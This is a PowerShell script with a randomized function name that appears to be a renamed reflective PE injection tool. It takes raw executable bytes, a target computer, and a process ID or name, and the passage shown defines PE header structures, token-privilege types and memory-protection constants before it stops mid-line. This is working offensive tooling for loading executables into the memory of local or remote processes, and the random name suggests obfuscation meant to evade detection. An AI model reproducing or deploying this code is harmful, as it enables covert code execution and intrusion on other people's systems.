function Invoke-COVDQSQKASLYKYN { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [ValidateNotNullOrEmpty()] [Byte[]] $PEBytes, [Parameter(Position = 1)] [String[]] $ComputerName, [Parameter(Position = 2)] [ValidateSet( 'WString', 'String', 'Void' )] [String] $FuncReturnType = 'Void', [Parameter(Position = 3)] [String] $ExeArgs, [Parameter(Position = 4)] [Int32] $ProcId, [Parameter(Position = 5)] [String] $ProcName, [Switch] $ForceASLR, [Switch] $DoNotZeroMZ ) Set-StrictMode -Version 2 $RemoteScriptBlock = { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [String] $FuncReturnType, [Parameter(Position = 2, Mandatory = $true)] [Int32] $ProcId, [Parameter(Position = 3, Mandatory = $true)] [String] $ProcName, [Parameter(Position = 4, Mandatory = $true)] [Bool] $ForceASLR ) Function Get-Win32Types { $Win32Types = New-Object System.Object $Domain = [AppDomain]::CurrentDomain $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null $MachineType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null $MagicType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null $SubSystemType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null $DllCharacteristicsType = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) $e_resField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) $e_res2Field.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) $nameField.SetCustomAttribute($AttribBuilder) $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null $LUID = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES return $Win32Types } Function Get-Win32Constants { $Win32Constants = New-Object System.Object $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 $Win32Constants | Add-Member -MemberType NoteProperty -Name 